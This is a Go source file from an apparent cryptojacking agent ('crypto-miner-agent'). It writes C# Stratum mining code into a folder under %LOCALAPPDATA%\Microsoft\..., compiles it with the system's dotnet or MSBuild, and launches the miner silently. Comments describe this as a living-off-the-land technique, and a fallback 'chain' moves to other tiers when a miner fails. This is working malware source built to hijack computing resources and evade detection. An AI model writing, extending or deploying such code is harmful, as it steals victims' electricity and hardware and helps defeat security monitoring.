Files
AetherForge/agent/miner/dotnet_launcher.go

237 lines
5.9 KiB
Go

package miner
import (
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
// dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath.
var (
dotnetBin = "dotnet"
msbuildBin = "MSBuild"
dotnetExecCommand = exec.Command
)
// SetDotnetBinPath overrides the dotnet CLI binary (restore with "").
func SetDotnetBinPath(path string) {
if strings.TrimSpace(path) == "" {
dotnetBin = "dotnet"
return
}
dotnetBin = path
}
// SetMSBuildBinPath overrides the MSBuild binary (restore with "").
func SetMSBuildBinPath(path string) {
if strings.TrimSpace(path) == "" {
msbuildBin = "MSBuild"
return
}
msbuildBin = path
}
// SetDotnetExecCommand restores default when fn is nil.
func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
dotnetExecCommand = exec.Command
return
}
dotnetExecCommand = fn
}
// DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL).
type DotnetLauncher struct {
cfg config.RuntimeConfig
workDir string
tool string // "dotnet" or "msbuild"
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewDotnetLauncher validates platform, pool, and toolchain availability.
func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) {
if runtime.GOOS != "windows" {
return nil, fmt.Errorf("dotnet tier requires Windows")
}
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
return nil, fmt.Errorf("pool host/port required for dotnet stratum tier")
}
if strings.TrimSpace(cfg.Wallet) == "" {
return nil, fmt.Errorf("wallet required for dotnet stratum tier")
}
tool, err := resolveDotnetToolchain()
if err != nil {
return nil, err
}
workDir, err := lotlWorkDir(cfg, "Stratum")
if err != nil {
return nil, err
}
return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil
}
func resolveDotnetToolchain() (string, error) {
if _, err := exec.LookPath(dotnetBin); err == nil {
return "dotnet", nil
}
if _, err := exec.LookPath(msbuildBin); err == nil {
return "msbuild", nil
}
return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH")
}
// WorkDir returns the LOTL compile output directory.
func (l *DotnetLauncher) WorkDir() string {
return l.workDir
}
// Toolchain reports dotnet or msbuild.
func (l *DotnetLauncher) Toolchain() string {
return l.tool
}
// Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute.
func (l *DotnetLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
if err := l.materializeProject(); err != nil {
return err
}
if err := l.compile(); err != nil {
return err
}
cmd, err := l.launchMiner()
if err != nil {
return err
}
l.cmd = cmd
l.running = true
log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d",
l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
go l.waitExit()
return nil
}
func (l *DotnetLauncher) materializeProject() error {
if err := os.MkdirAll(l.workDir, 0o755); err != nil {
return fmt.Errorf("mkdir workdir: %w", err)
}
csPath := filepath.Join(l.workDir, "Program.cs")
if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil {
return fmt.Errorf("write Program.cs: %w", err)
}
projPath := filepath.Join(l.workDir, "StratumMiner.csproj")
if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil {
return fmt.Errorf("write csproj: %w", err)
}
return nil
}
func (l *DotnetLauncher) compile() error {
switch l.tool {
case "dotnet":
cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q")
cmd.Dir = l.workDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
case "msbuild":
proj := filepath.Join(l.workDir, "StratumMiner.csproj")
cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q")
cmd.Dir = l.workDir
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out)))
}
return nil
default:
return fmt.Errorf("unknown toolchain %q", l.tool)
}
}
func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) {
switch l.tool {
case "dotnet":
cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build")
cmd.Dir = l.workDir
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("dotnet run failed: %w", err)
}
return cmd, nil
case "msbuild":
exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe")
if _, err := os.Stat(exe); err != nil {
exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe")
}
cmd := dotnetExecCommand(exe)
cmd.Dir = l.workDir
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("run compiled exe failed: %w", err)
}
return cmd, nil
default:
return nil, fmt.Errorf("unknown toolchain %q", l.tool)
}
}
func (l *DotnetLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
if err != nil {
log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err)
} else {
log.Printf("[dotnet-tier] miner process stopped")
}
}
// Stop terminates the running LOTL miner process.
func (l *DotnetLauncher) Stop() {
l.mu.Lock()
cmd := l.cmd
running := l.running
l.mu.Unlock()
if !running || cmd == nil {
return
}
if cmd.Process != nil {
_ = cmd.Process.Kill()
}
l.mu.Lock()
l.running = false
l.cmd = nil
l.mu.Unlock()
}
// Running reports whether the LOTL miner is active.
func (l *DotnetLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}